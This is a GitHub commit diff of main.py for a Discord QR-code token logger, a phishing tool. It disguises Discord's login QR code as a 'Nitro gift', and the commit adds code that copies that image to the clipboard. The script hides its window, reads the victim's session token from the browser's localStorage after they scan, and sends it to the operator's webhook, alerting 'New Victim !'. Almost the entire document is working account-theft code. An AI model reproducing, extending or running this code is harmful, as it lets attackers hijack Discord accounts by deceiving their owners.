Update main.py

This commit is contained in:
mouadessalim 2023-01-21 18:25:27 +01:00 committed by GitHub
parent 4d3c5bef32
commit 1091fc7988
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -18,11 +18,11 @@ import base64
import ctypes import ctypes
import os import os
import time import time
import win32clipboard
from io import BytesIO from io import BytesIO
from logging import ERROR from logging import ERROR
from tempfile import NamedTemporaryFile, TemporaryDirectory from tempfile import NamedTemporaryFile, TemporaryDirectory
from threading import Thread from threading import Thread, Event
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from PIL import Image from PIL import Image
from pystray import Icon, Menu, MenuItem from pystray import Icon, Menu, MenuItem
@ -30,10 +30,11 @@ from pystyle import Box, Center, Colorate, Colors, System, Write
from selenium import webdriver from selenium import webdriver
from selenium.common.exceptions import WebDriverException from selenium.common.exceptions import WebDriverException
from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.service import Service
from constants import BANNER, NO, PYSTRAY_IMG, YES, SLEEP_TIME
from constants import BANNER, NO, PYSTRAY_IMG, YES
from discord_token import QRGrabber, TokenInfo from discord_token import QRGrabber, TokenInfo
from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
from queue import Queue
from signal import SIGTERM
from logger import log_unknown_exceptions from logger import log_unknown_exceptions
@ -46,12 +47,10 @@ def main(webhook_url: str) -> None:
opts.add_experimental_option('detach', True) opts.add_experimental_option('detach', True)
opts.add_experimental_option('excludeSwitches', ['enable-logging']) opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.add_argument('--log-level 3') opts.add_argument('--log-level 3')
# This module have conflicts with PyStyle; importing here prevents the issue. # This module have conflicts with PyStyle; importing here prevents the issue.
from webdriver_manager.chrome import ChromeDriverManager from webdriver_manager.chrome import ChromeDriverManager
os.environ['WDM_PROGRESS_BAR'] = str(0)
os.environ['WDM_LOG_LEVEL'] = '0' os.environ['WDM_LOG_LEVEL'] = '0'
try: try:
main.driver = webdriver.Chrome( main.driver = webdriver.Chrome(
service=Service(ChromeDriverManager().install()), service=Service(ChromeDriverManager().install()),
@ -59,52 +58,47 @@ def main(webhook_url: str) -> None:
except WebDriverException: except WebDriverException:
raise SystemExit( raise SystemExit(
'WebDriverException : have you tried installing the latest version of Google Chrome?') 'WebDriverException : have you tried installing the latest version of Google Chrome?')
main.driver.implicitly_wait(5) main.driver.implicitly_wait(5)
main.driver.get('https://discord.com/login') main.driver.get('https://discord.com/login')
# Attempted to do this with WebDriverWait but it resulted in a fail.
# Attempted to do this with WebDriverWait but it resulted in a
time.sleep(5) time.sleep(5)
# number of issues.
source = BeautifulSoup(main.driver.page_source, features='html.parser') source = BeautifulSoup(main.driver.page_source, features='html.parser')
qrg = QRGrabber('resources') qrg = QRGrabber('resources')
try: try:
qr_code = qrg.get_qr_from_source(source) qr_code = qrg.get_qr_from_source(source)
except QRCodeNotFound as e: except QRCodeNotFound as e:
main.driver.quit() main.driver.service.process.send_signal(SIGTERM)
raise SystemExit(e) raise SystemExit(e)
discord_login = main.driver.current_url discord_login = main.driver.current_url
with TemporaryDirectory(dir='.') as td: with TemporaryDirectory(dir='.') as td:
with NamedTemporaryFile(dir=td, suffix='.png') as tp1: with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
tp1.write( tp1.write(
base64.b64decode( base64.b64decode(
qr_code.replace( qr_code.replace('data:image/png;base64,','')))
'data:image/png;base64,', Write.Print('\n[!] Generating template for QR code...', Colors.red_to_purple)
'')))
Write.Print(
'\n[!] Generating template for QR code...',
Colors.red_to_purple)
with NamedTemporaryFile(dir=td, suffix='.png') as tp2: with NamedTemporaryFile(dir=td, suffix='.png') as tp2:
qrg.generate_qr_for_template(tp1, tp2) qrg.generate_qr_for_template(tp1, tp2)
Write.Print('\n[!] Generating Discord Nitro template for QR code...', Write.Print('\n[!] Generating Discord Nitro template for QR code...',
Colors.red_to_purple) Colors.red_to_purple)
qrg.generate_nitro_template(tp2) qrg.generate_nitro_template(tp2)
output = BytesIO()
Image.open("discord_gift.png").convert('RGB').save(output, 'BMP')
data = output.getvalue()[14:]
output.close()
win32clipboard.OpenClipboard(), win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardData(win32clipboard.CF_DIB, data)
win32clipboard.CloseClipboard()
Write.Print( Write.Print(
'\n[#] Waiting for target to login using the QR code...', '\n[#] The Qr-Code is copied to clipboard, waiting for target to login using the QR code...',
Colors.red_to_purple) Colors.red_to_purple)
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.", pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.",
'Waiting for target') 'Waiting for target')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow( ctypes.windll.user32.ShowWindow(
ctypes.windll.kernel32.GetConsoleWindow(), 0) ctypes.windll.kernel32.GetConsoleWindow(), 0)
def timer_killer(q, e):
while True: while True:
if e.isSet() != True:
if discord_login != main.driver.current_url: if discord_login != main.driver.current_url:
try: try:
os.remove('discord_gift.png') os.remove('discord_gift.png')
@ -119,37 +113,46 @@ def main(webhook_url: str) -> None:
var token = JSON.parse(localStorage.token); var token = JSON.parse(localStorage.token);
return token; return token;
''') ''')
q.put(token)
break
else:
break
main.driver.service.process.send_signal(SIGTERM)
q, e = Queue(), Event()
thread_timer_killer = Thread(target=timer_killer, args=(q, e, ))
thread_timer_killer.start()
thread_timer_killer.join(120)
if thread_timer_killer.is_alive():
e.set()
while True:
if not thread_timer_killer.is_alive():
main.driver.service.process.send_signal(SIGTERM)
break break
main.driver.quit()
pystray_icon.icon.notify(
"The target scanned the QR-code sucessfuly.",
'New Victim !')
time.sleep(3)
ctypes.windll.user32.ShowWindow(
ctypes.windll.kernel32.GetConsoleWindow(), 5)
try: try:
token_info = TokenInfo(token) os.remove('discord_gift.png')
del token except BaseException:
Write.Print( pass
f"\n\n[?] The following token has been grabbed: {token_info.token}", pystray_icon.icon.notify("The Qr-Code has expired !", 'Exiting...')
Colors.rainbow) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
raise SystemExit(Write.Print('\n\n[!] The Qr-Code have expired, exiting...', Colors.yellow_to_green))
pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !')
time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
try:
token_info = TokenInfo(q.get())
Write.Print(f"\n\n[?] The following token has been grabbed: {token_info.token}", Colors.rainbow)
if webhook_url is not None: if webhook_url is not None:
try: try:
token_info.send_info_to_webhook(webhook_url) token_info.send_info_to_webhook(webhook_url)
except WebhookSendFailure as e: except WebhookSendFailure as e:
Write.Print(f"[!] {e}", Colors.red) Write.Print(f"[!] {e}", Colors.red)
Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green) Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green)
except InvalidToken: except InvalidToken:
Write.Print('\n\n[!] An invalid token has been accessed.', Colors.red) Write.Print('\n\n[!] An invalid token has been accessed.', Colors.yellow_to_green)
if __name__ == "__main__": if __name__ == "__main__":
@log_unknown_exceptions(ERROR) @log_unknown_exceptions(ERROR)
def pystray_icon(): def pystray_icon():
def window_state(_, item): def window_state(_, item):
@ -161,7 +164,10 @@ if __name__ == "__main__":
ctypes.windll.kernel32.GetConsoleWindow(), 0) ctypes.windll.kernel32.GetConsoleWindow(), 0)
elif str(item) == 'Quit': elif str(item) == 'Quit':
pystray_icon.icon.stop() pystray_icon.icon.stop()
main.driver.quit() try:
main.driver.service.process.send_signal(SIGTERM)
except:
pass
raise SystemExit raise SystemExit
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(PYSTRAY_IMG))), menu=Menu( pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(PYSTRAY_IMG))), menu=Menu(
@ -170,17 +176,13 @@ if __name__ == "__main__":
MenuItem('Quit', window_state) MenuItem('Quit', window_state)
)) ))
pystray_icon.icon.run() pystray_icon.icon.run()
System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0')
System.Title(
'QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0')
System.Size(140, 35) System.Size(140, 35)
print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1)) print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1))
print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube( print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube(
"By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1)) "By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1))
print(Colorate.Horizontal(Colors.rainbow, Box.Lines( print(Colorate.Horizontal(Colors.rainbow, Box.Lines(
"https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n") "https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n")
confir = Write.Input( confir = Write.Input(
"[*] Do you want to use a Discord Webhook URL ? [y/n] -> ", "[*] Do you want to use a Discord Webhook URL ? [y/n] -> ",
Colors.green_to_cyan, Colors.green_to_cyan,
@ -189,22 +191,20 @@ if __name__ == "__main__":
th_main = Thread( th_main = Thread(
target=main, target=main,
args=( args=(
Write.Input( Write.Input("\n[*] Enter your webhook url -> ",
"\n[*] Enter your webhook url -> ",
Colors.green_to_cyan, Colors.green_to_cyan,
interval=0.01), interval=0.01)
)) ))
elif (confir == NO) or (confir == NO.upper()): elif (confir == NO) or (confir == NO.upper()):
th_main = Thread(target=main, args=(None,)) th_main = Thread(target=main, args=(None,))
else: else:
raise SystemExit( raise SystemExit(Write.Print(
'Failed to recognise an input of either \'y\' or \'n\'.') 'Failed to recognise an input of either \'y\' or \'n\'.',
Colors.yellow_to_green))
Thread(target=pystray_icon).start() Thread(target=pystray_icon).start()
th_main.start() th_main.start()
while True: while True:
if not th_main.is_alive(): if not th_main.is_alive():
pystray_icon.icon.stop() pystray_icon.icon.stop()
break break
time.sleep(3) time.sleep(SLEEP_TIME)